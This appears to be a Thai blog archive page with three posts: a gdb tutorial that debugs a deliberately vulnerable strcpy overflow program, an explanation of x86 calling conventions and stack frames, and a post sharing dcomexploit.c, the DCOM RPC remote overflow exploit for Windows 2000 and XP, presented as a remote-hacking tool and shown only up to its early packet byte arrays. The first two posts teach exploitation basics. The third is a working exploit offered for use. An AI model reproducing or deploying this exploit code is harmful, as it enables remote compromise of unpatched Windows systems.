« Posts under Code

start debug with gdb

gdb คือ debugger โดยปกติ programmer จะใช้สำหรับช่วยในการแก้ bug ด้วยการดูค่าของตัวแปรต่างๆ ที่บรรทัดต่างๆ ของ code แต่ในมุมมองของ hacker ตัว debugger นั้น ช่วยให้เข้าใจโปรแกรม และช่องโหว่ของโปรแกรม และเราจะได้ใช้ gdb ไปตลอด tutorial นี้ โดยหัวข้อนี้ ผมตั้งใจให้คนที่ไม่เคยใช้ gdb ได้เห็นคำสั่งต่างๆ และได้ลองนิดหน่อย (ไม่ต้องให้คล่องนะครับ ต้องได้ใช้อีกเยอะ เดี๋ยวก็จำได้เอง)

ก่อนจะ เริ่ม debug ก็ต้องสั่ง gdb แล้วเราจะเข้าไปในอยู่ใน gdb แล้วสั่งคำสั่งเพื่อตรวจสอบ process ได้ โดย gdb มีรูปแบบของ parameter ที่สำคัญตามนี้

# debug โปรแกรม prog
$ gdb ./prog
# ตรวจสอบ core dump file (มีหลายรูปแบบ)
$ gdb ./prog core
$ gdb -c core ./prog
$ gdb -c core
# ส่งโปรแกรม prog arguments เข้าไปด้วย (มีหลายรูปแบบ)
$ gdb –args ./prog arg1 arg2
# attach เข้าไปใน process ที่ run อยู่ (สมมติว่า pid คือ 1234) (มีหลายรูปแบบ)
$ gdb ./prog 1234
$ gdb -p 1234

ส่วน parameter อื่นๆ ให้หาอ่านเองนะครับ ง่ายสุดก็ man gdb

หลัง จากสั่ง gdb ก็จะเจอ gdb prompt โดยมีคำสั่งต่างๆ ที่ใช้บ่อยๆ สำหรับการเขียน exploit ตามนี้ (addr ในตารางข้างล่าง สามารถใช้ register แทนได้เช่น $eax, $esp)

คำสั่งเต็ม คำสั่งย่อ คำอธิบาย
run r เริ่มโปรแกรม
kill k หยุดโปรแกรม
quit q ออกจาก gdb
continue c ทำงานต่อโดยหยุดที่ breakpoint ถัดไป
disassemble disas แสดง assembly code ของ function ที่ eip อยู่
disassemble addr disas addr แสดง assembly code ที่ address addr (ใช้ชื่อ function ได้)
disassemble addr1 addr2 disas addr1 addr2 แสดง assembly code ที่ address addr1 ถึง addr2
info breakpoints i b แสดง breakpoint ทั้งหมด
info registers i r แสดงค่าของ cpu registers ทั้งหมด
info frame i f แสดงข้อมูลเกี่ยวกับ stack frame ปัจจุบัน
backtrace bt แสดง call stack
break *addr b *addr set breakpoint ที่ address addr (ถ้าใช้ชื่อ function ไม่ต้องมี *)
enable [num] en [num] enable breakpoint หมายเลขที่ num
disable [num] dis [num] disable breakpoint หมายเลขที่ num
delete [num] d [num] delete breakpoint หมายเลขที่ num
delete d delete breakpoint ทั้งหมด
nexti [num] ni [num] ทำงานคำสั่งถัดไป ไม่เข้าไปใน call
stepi [num] si [num] ทำงานคำสั่งถัดไป เข้าไปใน call
x/nfu addr แสดงค่าของ address addr โดย
n คือจำนวนที่จะแสดงผล
f คือรูปแบบที่จะแสดงผล (ดูตารางถัดไป)
u คือจำนวน byte มี b (byte), h (2 bytes), w (4 bytes)
display/f addr disp/f addr แสดงค่าของ address addr ทุกครั้งที่ถึงหยุดทำงานชั่วคราว
display disp แสดงค่าที่อยู่ใน display list ทั้งหมด
undisplay [num] und [num] ลบ display ที่เก็บไว้ที่ num
set addr=val set ค่า val ไปที่ address addr

ต่อไปก็รูปแบบการแสดงผล (ค่า f จากตารางข้างบน) จะเหมือน c เกือบหมด

รูปแบบ คำอธิบาย
a pointer
a pointer
c character
d signed decimal
f floating point number
o octal
s string
t binary
u unsigned decimal
x hexadecimal

คำสั่งตั้งเยอะใครจะจำได้หมด ต้องลองใช้บ่อยๆ ให้มันซึมเข้าไปเองครับ โดยผมจะลองใช้คำสั่งต่างๆ กับโปรแกรมในหัวข้อ “buffer overflow คืออะไร” แต่ให้ compile ตามนี้ (ex_05_1.c)

SHELL
$ gcc -fno-pie -fno-stack-protector -z norelro -z execstack 
    -mpreferred-stack-boundary=2 -o ex_05_1 ex_05_1.c
C++
// ex_05_1.c
/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack 
    -mpreferred-stack-boundary=2 -o ex_05_1 ex_05_1.c
*/
 
#include <stdio.h>
#include <string.h>
 
int main(int argc, char **argv)
{
  int magic = 0;
  char buf[8];
 
  printf("before strcpy: magic is 0x%08x\n", magic);
  strcpy(buf, argv[1]);
  printf("after strcpy: magic is 0x%08x\n", magic);
  if (magic == 0x55555555)
    printf("hahaha, you win\n");
 
  return 0;
}

หลัง จากนั้น มาลองใช้ gdb กัน (ให้ลองทำตามด้วยนะครับ อย่าเอาแต่อ่าน) โดยผมจะใส่คำอธิบายไว้หลังเครื่องหมาย # (ไม่ต้องพิมพ์นะครับ คำอธิบายนะครับ) และตามสัญญาจากหัวข้อที่แล้ว ว่าจะให้เห็นการส่งผ่าน argument อีกรูปหนึ่ง (สำหรับคนที่ไม่ชอบ at&t syntax สามารถใช้คำสั่ง set disassembly-flavor intel เพื่อให้เป็น masm syntax แต่ผมแนะนำให้ใช้ default เพื่อที่จะได้รู้หลากหลาย)


$ gdb -q ./ex_05_1
reading symbols from /home/worawit/tutz/ch05/ex_05_1…(no debugging symbols found)…done.
(gdb) disas main # disassemble main
0×08048434 <+0>: push %ebp
0×08048435 <+1>: mov %esp,%ebp
0×08048437 <+3>: sub $0×14,%esp # หัวข้อที่แล้ว -0xc แต่คราวนี้ -0×14 เพิ่มมา 8 bytes ใช้สำหรับส่ง argument ให้ strcpy
0x0804843a <+6>: movl $0×0,-0×4(%ebp)
… # ขอละไว้ มันยาว
0×08048455 <+33>: mov 0xc(%ebp),%eax # เอา argument ตัวที่ 2 (argv) ไปที่
0×08048458 <+36>: add $0×4,%eax # eax+4 เพื่อชี้ไปที่ address ของ argv[1]
0x0804845b <+39>: mov (%eax),%eax # เอาค่าของ argv[1] เก็บใน eax
0x0804845d <+41>: mov %eax,0×4(%esp) # เก็บไปไว้ที่ esp+4 (เป็น argument ตัวที่ 2 ของ strcpy)
0×08048461 <+45>: lea -0xc(%ebp),%eax # โหลด address ของ buf ไว้ที่ eax
0×08048464 <+48>: mov %eax,(%esp) # เก็บไปไว้ที่ esp (เป็น argument ตัวที่ 1 ของ strcpy)
0×08048467 <+51>: call 0×8048344 <strcpy@plt>
… # ขอละไว้ มันยาว
(gdb) b main # set breakpoint ไว้ที่ main
breakpoint 1 at 0x804843a # สังเกตว่า set ที่หลัง function prologue
(gdb) r
starting program: /home/worawit/tutz/ch05/ex_05_1

breakpoint 1, 0x0804843a in main ()
(gdb) b *0×08048467 # set breakpoint ที่คำสั่ง call strcpy
breakpoint 2 at 0×8048467
(gdb) r uuuuuuuuuuuuuuuuuuu # run โปรแกรมอีกรอบ โดยมี argument
the program being debugged has been started already.
start it from the beginning? (y or n) y

starting program: /home/worawit/tutz/ch05/ex_05_1 uuuuuuuuuuuuuuuuuuu

breakpoint 1, 0x0804843a in main ()
(gdb) i r # แสดง registers ทั้งหมด
eax 0xbffff7b4 -1073743948
ecx 0xa988bb4b -1450656949
edx 0×2 2
ebx 0x293ff4 2703348
esp 0xbffff6f4 0xbffff6f4
ebp 0xbffff708 0xbffff708
esi 0×0 0
edi 0×0 0
eip 0x804843a 0x804843a
… # ขอละไว้ มันยาว
(gdb) c # ทำงานต่อ หยุดที่ breakpoint ถัดไป
continuing.
before strcpy: magic is 0×00000000

breakpoint 2, 0×08048467 in main ()
(gdb) display/i $pc # add display ให้แสดงคำสั่งที่ eip ชี้อยู่ (pc คือ program counter ใช้แทน eip ได้)
1: x/i $pc
=> 0×8048467 : call 0×8048344
(gdb) x/8x $ebp-0xc # แสดงค่าตั้งแต่ 0xbffff6fc (buf) ไป 8*4=32 bytes
0xbffff6fc: 0x00293ff4 0x080484b0 0×00000000 0xbffff788
0xbffff70c: 0x00154bd6 0×00000002 0xbffff7b4 0xbffff7c0
(gdb) ni # ทำงานคำสั่งถัดไป โดยไม่เข้าไปใน call
0x0804846c in main ()
1: x/i $pc # คำสั่งที่อยู่ใน display list แสดงทุกครั้งที่โปรแกรมหยุด
=> 0x804846c : mov $0×8048580,%eax
(gdb) x/8x $ebp-0xc # แสดงค่าที่ memory ของ buf อีกครั้ง (ค่า dword ที่ 3 คือ magic)
0xbffff6fc: 0×55555555 0×55555555 0×55555555 0×55555555
0xbffff70c: 0×00555555 0×00000002 0xbffff7b4 0xbffff7c0
(gdb) i f # แสดงข้อมูล stack frame
stack level 0, frame at 0xbffff710:
eip = 0x804846c in main; saved eip 0×555555
arglist at 0xbffff708, args:
locals at 0xbffff708, previous frame s sp is 0xbffff710
saved registers:
ebp at 0xbffff708, eip at 0xbffff70c
(gdb) x/2s $esp # แสดงข้อมูลที่ esp ในรูปแบบ string จำนวน 2 string
0xbffff6f4: “\374\366\377\277\360\370\377\277″, ‘u’
0xbffff710: “\002″
(gdb) # enter เฉยๆ คือทำคำสั่งข้างบนซ้ำ แต่แสดงที่ address ถัดไป
0xbffff712: “”
0xbffff713: “”
(gdb) c # ให้โปรแกรมทำงานต่อ
continuing.
after strcpy: magic is 0×55555555
hahaha, you win

program received signal sigsegv, segmentation fault.
0×00555555 in ?? ()
(gdb) i r ebp eip
ebp 0×55555555 0×55555555
eip 0×555555 0×555555
(gdb) q
a debugging session is active.

inferior 1 [process 1857] will be killed.

quit anyway? (y or n) y
$


ให้สังเกตที่คำสั่ง i f จะเห็นว่า saved ebp อยู่ที่ 0xbffff708 และ saved eip อยู่ที่ 0xbffff70c นั้นค่าถูกทำให้เปลี่ยน หลังจากเรียก strcpy (ตัว saved eip ที่มี 00 นำหน้านั้น 00 (null) มาจากตัวจบของ string ใน c แต่ที่อยู่ข้างหน้า เพราะแสดงเป็น integer ถ้างงก็คิดเรื่อง endian) แสดงให้เห็นว่า ข้อมูลที่เราใส่เข้าไปนั้น นอกจากจะเขียนทับ magic แล้วยังเขียนทับข้อมูลสำคัญ ที่กำหนดว่าให้โปรแกรมทำงานต่อที่ไหนหลังจากจบ main ทำให้โปรแกรมมีการอ้างถึง memory ที่ invalid คือ eip ชี้ไปที่ 0×00555555 ทำให้เกิด segmentation fault ขึ้น

ส่วนวิธีการ call function ในครั้งนี้จะไม่ใช้การ push argument แล้ว call อย่างที่เห็นใน assembly ข้างบน แต่จะเป็นการจองเนื้อที่บน stack ไว้สำหรับการส่ง argument แล้วใช้วิธี mov เพื่อย้ายค่าไปเป็น argument ต่างๆ แทน

ก่อนจะเริ่มในหัวข้อถ้ดไป ผมอยากให้ลองเอาโปรแกรมในหัวข้อ “function กับ stack” โดย compile ตามนี้ (ex_05_2.c)

SHELL
$ gcc -fno-pie -fno-stack-protector -z norelro -z execstack 
    -mpreferred-stack-boundary=2 -o ex_05_2 ex_05_2.c
C++
// ex_05_2.c
/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack 
    -mpreferred-stack-boundary=2 -o ex_05_2 ex_05_2.c
*/
 
int fn_second(int n1, int n2, char *s)
{
        char bb[16];
        return 1;
}
 
void fn_first(int num)
{
        int i;
        char buf[8];
        fn_second(i, num, buf);
}
 
int main()
{
        fn_first(5);
        return 0;
}

แล้วให้ลอง

1. disassemble แล้วลองอ่าน assembly ดู
2. ลองใช้ stepi กับ nexti กับคำสั่ง call
3. ลองใช้ x/10s $esp แล้ว enter ไปเรื่อยๆ จนหมด stack (bottom of stack) แล้วสังเกตค่าที่เป็นตัวอักษร อ่านรู้เรื่อง

reference:

  • http://www.yolinux.com/tutorials/gdb-commands.html – gnu gdb debugger command cheat sheet
  • gdb cheat sheet

credit : sleepya [ http://thtutz.blogspot.com ]

function and stack

คราวนี้ผมจะพูดถึงการ call (เรียก) function หนึ่ง จะมีผลอย่างไรกับ memory ในส่วน stack และจะมีคำสั่ง assembly อะไรบ้างที่เกี่ยวข้อง

ปกติโปรแกรมจะทำงานเป็นลำดับ โดยมี eip ชี้ไปคำสั่งที่จะถูกประมวลผล แต่เมื่อมีการ call function หนึ่ง eip จะกระโดดไปทำงานใน function ใหม่ และเมื่อทำงานใน function ใหม่จบแล้ว eip จะต้องกระโดดกลับมาทำงานที่ function เดิมต่อ แล้วโปรแกรมรู้ได้อย่างไรละว่า eip ต้องกระโดดกลับไปที่ไหน?

เพื่อให้ eip ชี้ไปที่คำสั่งถัดไปหลังจากกลับมาจาก function ที่เรียก คำสั่งที่ใช้ในการ call function คือ “call” (เช่น “call printf”) จะทำการ “push eip” ลงไปใน stack ก่อน แล้วค่อยกระโดดไปทำงานที่ function ใหม่ และที่จบ function ก็จะมีคำสั่ง “ret” ซึ่งจะเท่ากับ “pop eip” ทำให้โปรแกรมสามารถกลับไปทำงานตามปกติได้ เช่น สมมติว่าโปรแกรมเรา eip ชี้ไปที่ address 0×08112200 และคำสั่งที่ call some_fn ที่ address 0×08112100 และคำสั่งถัดไปคือ address 0×08112205 ผลของการ call ก็จะได้ตามรูปข้างล่าง

note : ไม่มีคำสั่ง assembly ที่แก้ไขค่า หรืออ่านค่า eip โดยตรง ที่เห็นผมเขียน “push eip” และ “pop eip” นั้น เพื่อใช้ในการอธิบายเท่านั้น

function and stack

แล้วถ้า function มีการส่ง arguments ละ จะเป็นอย่างไร?

วิธีการส่ง arguments จริงๆแล้ว แล้วแต่ compiler ว่าจะใช้ call convention (รูปแบบการเรียก)ไหน แต่ที่ใช้โดยทั่วไป arguments ของแต่ละ function นั้นจะถูก push ลงไปใน stack จาก arguments ตัวหลังสุดไล่ไปยังตัวหน้าสุด ก่อนจะมีการ call function เช่น ใน c เราเขียน some_args(1, 2, 3) เราจะได้ assembly code เป็น (เพื่อเป็นการประหยัดพื้นที่ ดูรูปแรกในห้วข้อ stack frame ข้างล่างนะครับ)

ASM
push $3
push $2
push $1
call some_args

note : วิธีส่ง arguments ไม่จำเป็นต้อง push นะครับ แค่ทำให้เหมือนกันก็พอ ซึ่งจะได้เห็นในหัวข้อถัดไป

ส่วน การส่งค่ากลับของ function คนเขียนโปรแกรมคงคุ้นเคยกันอยู่แล้วว่า function ในจะส่งค่ากลับได้เพียงแค่ค่าเดียว ซึ่ง compiler โดยทั่วไปจะส่งกลับผ่านทาง register eax โดยการ set ค่าที่ eax แล้วค่อย ret

function call convention

ในที่นี้ผมจะพูดถึงแค่ 3 แบบเท่านั้นนะครับ โดยทั้ง 3 แบบ arguments จะถูก push จากตัวหลังสุดไปหน้าสุด

c calling convention (cdecl) – เป็นแบบที่ compiler ปัจจุบันใช้ โดย function ที่เรียกจะทำหน้าที่ clear stack เช่นการเรียก some_args(1, 2, 3) จะได้ assembly เป็น

ASM
push $3
push $2
push $1
call some_args
add $12,%esp

standard convention (stdcall) – การเรียกแบบนี้ microsoft คิด และใช้ใน dll ของ microsoft เอง ถ้าใครเคยเขียนโปรแกรมโดยใช้ win32 api คงจะเคยเห็น winapi หน้า function ซึ่งถ้าไล่ดูใน header file ของ win32 api ก็จะเห็นว่า define เป็น _stdcall การเรียกแบบนี้ต่างจากแบบแรกคือ function ที่ถูกเรียกจะทำหน้าที่ clear stack โดยใช้คำสั่ง assembly “ret n” เช่นการเรียก some_args(1, 2, 3) จะได้ assembly ของ function ที่เรียกคือ

ASM
push $3
push $2
push $1
call some_args

และใน function ที่ถูกเรียกจะจบด้วย assembly

ASM
ret $12

fastcall convention (fastcall) – แบบนี้จะคล้ายแบบ “standard convention” ต่างกันตรงที่ argument ตัวแรกจะเก็บไว้ใน ecx และตัวที่สองเก็บไว้ใน edx ส่วนที่เหลือ push ลง stack เหมือนเดิม การเรียกแบบนี้ ผมไม่ยกตัวอย่าง assembly นะครับ เพราะใช้น้อยมาก เมื่อเทียบกับ 2 แบบแรก

note : หลังจากนี้ ถ้าผมพูดถึงการ call function โดยไม่บอกรูปแบบก็ถือว่าเป็น c calling convention

local variables

ในแต่ละ function จะมี local variables ที่ใช้ภายใน function เท่านั้น และเมื่อจบ function พวก local variables จะถูกทำลายอัตโนมัติ

local variables นั้น จะถูกเก็บไว้ใน stack วิธีการจองคือ compiler ทำการคำนวณขนาดของ local variables ทั้งหมด แล้วเพิ่มคำสั่งลบ esp ไว้ที่ตอนเริ่มของ function (อย่าลืมนะครับว่า stack ใน x86 ขยายจาก high address ไป low address) เช่นใน function มีการประกาศตัวแปร “int i; char buf[16];” ได้ขนาด local variables เป็น 20 bytes ซึ่ง compiler จะเพิ่มคำสั่ง

ASM
sub $20, %esp

stack frame

ในหัวข้อ assembly ผมได้พูดถึง esp กับ ebp สั้นๆ ในหัวข้อนี้จะได้เห็นว่า register 2 ตัวนี้ถูกใช้งานอย่างไรใน stack

โดย ปกติ ebp ชี้ไปยัง address ของ stack ข้างบน eip ที่ถูก push ลงไปใน stack ก่อนมีการ call function โดยหน้าที่หลักคือ ใช้อ้างอิง function arguments และ local variables ซึ่งเมื่อใช้ ebp การอ้างอิงทั้ง arguments และ local variables นั้นจะไม่มีการเปลี่ยนแปลงตามรูปข้างล่าง โดยสมมติว่ามีการ call function ที่มี 3 arguments และใน function นั้นมีการประกาศตัวแปรไว้เป็น “int i; char buf[8];” (เหมือนตัวอย่างในหัวข้อ “buffer overflow คืออะไร” ใน function main แต่ใช้ i แทน magic)

stack frame

จากรูปข้างบน อาจจะเรียกทั้งหมดว่า “stack frame” โดยถ้าเราต้องการจะอ้างถึงตัวแปร buf ก็ใช้ ebp-12 ส่วนถ้าต้องการอ้างถึง argument ตัวที่ 1 ก็ใช้ ebp+8 และตัวอื่นๆ ตามรูป

ส่วน “saved eip” ในรูปนั้น ผมได้อธิบายไปในตอนต้นแล้ว มันคือ eip ของคำสั่งที่จะถูกทำงานหลังจากจบ function ที่เรียก

แล้ว “saved ebp” ละมีไว้ทำอะไร เนื่องด้วยเราได้ใช้ ebp เป็น strack frame pointer เพื่อที่จะได้อ้างอิง local variables และ function arguments ได้สะดวก ดังนั้นเมื่อมีการ call function หนึ่ง ebp จะต้องถูกเลื่อนไปที่ stack frame ของ function ที่ถูกเรียก ดังนั้นเราต้องทำเหมือนกับ eip คือเก็บไว้ใน stack เพื่อจะได้เอา (restore) ebp ของ function เดิมกลับมาได้ (ถ้างง ให้อ่านไปก่อนนะครับ จะมีตัวอย่างอีกอัน)

จะเห็นว่าก่อนจะเริ่มทำงานใน function แต่ละครั้งนั้น จะมีการเก็บค่า ebp ย้าย ebp และจองเนื้อที่สำหรับ local variables (ไม่มีการเก็บค่า eip นะครับ อันนี้ถูกรวมอยู่ในคำสั่ง call) และเมื่อจบ function ก็จะมีการ clear stack ที่จองไว้สำหรับ local variables และ restore ebp ก่อนที่จะเรียกคำสั่ง ret

สิ่งที่ต้องทำก่อนเริ่มทำงานใน function จะเรียกว่า function prologue ซึ่งถ้านำตัวอย่างข้างบนมาเขียนเป็น assembly จะเป็น

ASM
push %ebp      # เก็บค่า ebp ที่ใช้ใน function ก่อนหน้าไว้ใน stack
mov %esp, %ebp # เลื่อนค่า ebp มาที่ esp (top of stack)
sub $12, %esp  # เลื่อน esp เพื่อจอง memory ให้ local variables

และสิ่งที่ต้องทำก่อนจบ function จะเรียกว่า function epilogue ซึ่งเขียนเป็น assembly ได้เป็น

ASM
mov %ebp, %esp # clear memory สำหรับ local variables โดยการย้าย esp มาที่ ebp
pop %ebp       # restore ebp จากค่าที่เก็บไว้ใน stack
ret

เนื่องจากใน x86 มีคำสั่งสำหรับทำ function epilogue คือ leave ซึ่งเท่ากับ mov %ebp,%esp และ pop %ebp ทำให้โดยปกติ เราจะเห็น function epilogue เมื่อเรา disassembly เป็น

ASM
leave
ret

บาง คนอาจจะสังเกตเห็น esp ในรูป แล้วสงสัยว่าทำไมถึงไม่ใช้ esp ในการอ้างอิง local variables และ function arguments ละ ในเมื่อ esp ชี้ไปที่ top of stack เสมออยู่แล้ว และก็อยู่ใกล้ local variables กับ function arguments เหตุผลก็คือ

  • การ ถ้าใช้ esp ต้องมีการคำนวณทุกครั้ง ที่มีการ push หรือ pop ว่า local variables และ function arguments ห่างจาก esp เท่าไร แต่การใช้ ebp ทำให้การอ้างอิงค่าแต่ละตัวเหมือนเดิมตลอดๆ ไม่ว่า stack จะเปลี่ยนแปลงอย่างไร ทำให้ง่ายต่อการ debug
  • เนื่องด้วยต้องคำนวณระยะห่างของ esp ที่กล่าวไปในข้อ 1 ทำให้ compiler ทำงานช้าลง

จริงๆแล้ว compiler เกือบทุกตัว มี option ให้ใช้แต่ esp แล้วเก็บ ebp ไว้ใช้เหมือน register ตัวอื่นๆ เช่นใน gcc จะใช้ -fomit-frame-pointer ส่วนเหตุผลว่า บางครั้งทำไมต้องใช้แบบนี้ ไม่ขอกล่าวในนี้ เดี๋ยวจะยาวเกิน

ก่อนจะจบ ผมขอยกตัวอย่าง ที่มาจากการ compile จริงๆ และจะได้ฝึก assembly ไปด้วย โดยมีโปรแกรมที่เขียนด้วยภาษา c ดังนี้ (ex_04_1.c)

C++
int fn_second(int n1, int n2, char *s)
{
  char bb[16];
  return 1;
}
 
void fn_first(int num)
{
  int i;
  char buf[8];
  fn_second(i, num, buf);
}
 
int main()
{
  fn_first(5);
  return 0;
}

แล้ว compile ด้วย gcc ตามนี้ (ครั้งนี้ ผม compile ให้ใช้วิธี push argument แล้ว call function เพื่อให้เข้าใจง่าย แต่ในหัวข้อถัดไป ผมจะให้ดูอีกรูปแบบหนึ่ง)

SHELL
$ gcc -march=i586 -fno-pie -fno-stack-protector -z norelro -z execstack 
    -mpreferred-stack-boundary=2 -o call_stack call_stack.c

เมื่อผมทำการ disassembly ออกมาจะได้ (ผมเอามาแสดงแค่ 3 function ที่มีใน c code นะครับ และเป็น address จริงๆ ในเครื่องของผม)

<fn_second>:
# function prologue โดยจองเนื้อที่ขนาด 16 bytes สำหรับ local variable

ASM
0x08048394 <+0>:   push   %ebp
0x08048395 <+1>:   mov    %esp,%ebp
0x08048397 <+3>:   sub    $0x10,%esp
0x0804839a <+6>:   mov    $0x1,%eax    # set ค่า 1 ที่จะ return ใน eax
# function epilogue
0x0804839f <+11>:  leave
0x080483a0 <+12>:  ret

<fn_first>:
# function prologue โดยจองเนื้อที่ขนาด 12 bytes สำหรับ local variable

ASM
0x080483a1 <+0>:   push   %ebp
0x080483a2 <+1>:   mov    %esp,%ebp
0x080483a4 <+3>:   sub    $0xc,%esp
0x080483a7 <+6>:   lea    -0xc(%ebp),%eax # load address ของ buf ไว้ที่ eax
0x080483aa <+9>:   push   %eax            # push address ของ buf (argument ตัวที่ 3)
0x080483ab <+10>:  pushl  0x8(%ebp)       # push ค่า num (argument ตัวที่ 2)
0x080483ae <+13>:  pushl  -0x4(%ebp)      # push ค่า i (argument ตัวที่ 1)
0x080483b1 <+16>:  call   0x8048394 <fn_second>
0x080483b6 <+21>:  add    $0xc,%esp       # clear arguments ที่ส่งผ่านใน stack
# function epilogue
0x080483b9 <+24>:  leave
0x080483ba <+25>:  ret

<main>:
# function prologue มี 2 คำสั่งเพราะ ไม่มี local variables

ASM
0x080483bb <+0>:   push   %ebp
0x080483bc <+1>:   mov    %esp,%ebp
0x080483be <+3>:   push   $0x5       # push argument ตัวที่ 1
0x080483c0 <+5>:   call   0x80483a1 <fn_first>
0x080483c5 <+10>:  add    $0x4,%esp  # clear arguments ที่ส่งผ่านใน stack
0x080483c8 <+13>:  mov    $0x0,%eax  # set ค่า 0 ที่จะ return ใน eax
# function epilogue
0x080483cd <+18>:  leave
0x080483ce <+19>:  ret

ถ้าใครอ่าน assembly code แล้วไม่เห็นภาพ ผมก็มีรูปให้ดู (หวังว่าคนที่ยังไม่เข้าใจ ดูแล้วจะเข้าใจ) โดยผมจะเริ่มคำสั่งจากใน main ที่ address 0x080483be และจบที่ address 0x080483c5 โดย ebp และ esp ชี้ไปที่ address 0xbffff728 อยู่ (address จริงในเครื่องผม) และเนื่องด้วยถ้าทำเป็น step ทั้งหมดรูปจะใหญ่มาก ผมขอไม่เข้าไปใน “call fn_second” และคำสั่งที่ address 0x080483c5 ผมไม่แสดง โดยผลลัพธ์จะเหมือนขั้นตอนแรก

summary stack

ถ้าใครไม่เคยรู้เรื่องนี้มาก่อน ให้ค่อยๆ ไล่นะครับ ใช้เวลานานหน่อยไม่ต้องรีบร้อนเรื่องนี้สำคัญมากๆ

สุดท้ายให้ลองกลับไปดูในหัวข้อ “buffer overflow คืออะไร” แล้วคิดดูว่าเกิดอะไรขึ้นใน stack ในแต่ละ input ที่เราลองกัน แล้วผมจะอธิบายในหัวข้อถัดไป พร้อมกับการใช้ gdb เบื้องต้น

credit : sleepya [ http://thtutz.blogspot.com ]

dcomexploit.c – remote hack windows

dcomexploit.c

วันนี้ มีของดีมาฝากเพื่อน ๆ ชาว pe3zx @blogger อีกแล้วครับ นั่นคือโค๊ด exploit ของ windows xp และ windows 2000 ซึ่งมีผลถึง service pack 1 เลยทีเดียว ซึ่งแต่ก่อนตอน windows xp บูม ๆ อยู่ โค๊ดตัวนี้เป็นที่้องการมาก เพราะเป็นการ remote hack ที่ทรงประสิทธิภาพตัวนึงเลยทีเดียว

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
/*
  DCOM RPC Overflow Discovered by LSD
   -> http://www.lsd-pl.net/files/get?WINDOWS/win32_dcom
 
  Based on FlashSky/Benjurry's Code
   -> http://www.xfocus.org/documents/200307/2.html
 
  Written by H D Moore <hdm [at] metasploit.com>
   -> http://www.metasploit.com/
 
  Ported to Win32 by Benjamin Lauzi่re <blauziere [at] altern.org>
 
  - Usage: ./dcom <Target ID> <Target IP>
  - Targets:
  -          0    Windows 2000 SP0 (english)
  -          1    Windows 2000 SP1 (english)
  -          2    Windows 2000 SP2 (english)
  -          3    Windows 2000 SP3 (english)
  -          4    Windows 2000 SP4 (english)
  -          5    Windows XP SP0 (english)
  -          6    Windows XP SP1 (english)
 
*/
 
 
 
#ifdef WIN32
#include <Windows.h>
#endif
 
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
 
#ifndef WIN32
#include <error.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#define STD_IN         0
#endif
 
#include <fcntl.h>
 
 
 
 
unsigned char bindstr[] = {
   0x05, 0x00, 0x0B, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00,
      0x00, 0x7F, 0x00, 0x00, 0x00,
   0xD0, 0x16, 0xD0, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
      0x00, 0x01, 0x00, 0x01, 0x00,
   0xa0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00,
   0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C, 0xC9, 0x11, 0x9F, 0xE8, 0x08,
      0x00,
   0x2B, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00
};
 
unsigned char request1[] = {
   0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0xE8, 0x03, 0x00,
      0x00, 0xE5, 0x00, 0x00, 0x00, 0xD0, 0x03, 0x00, 0x00, 0x01,
      0x00, 0x04, 0x00, 0x05, 0x00, 0x06, 0x00, 0x01, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0x24, 0x58, 0xFD, 0xCC,
      0x45, 0x64, 0x49, 0xB0, 0x70, 0xDD, 0xAE, 0x74, 0x2C, 0x96,
      0xD2, 0x60, 0x5E, 0x0D, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x70, 0x5E, 0x0D, 0x00, 0x02, 0x00, 0x00,
      0x00, 0x7C, 0x5E, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
      0x00, 0x00, 0x00, 0x80, 0x96, 0xF1, 0xF1, 0x2A, 0x4D, 0xCE,
      0x11, 0xA6, 0x6A, 0x00, 0x20, 0xAF, 0x6E, 0x72, 0xF4, 0x0C,
      0x00, 0x00, 0x00, 0x4D, 0x41, 0x52, 0x42, 0x01, 0x00, 0x00,
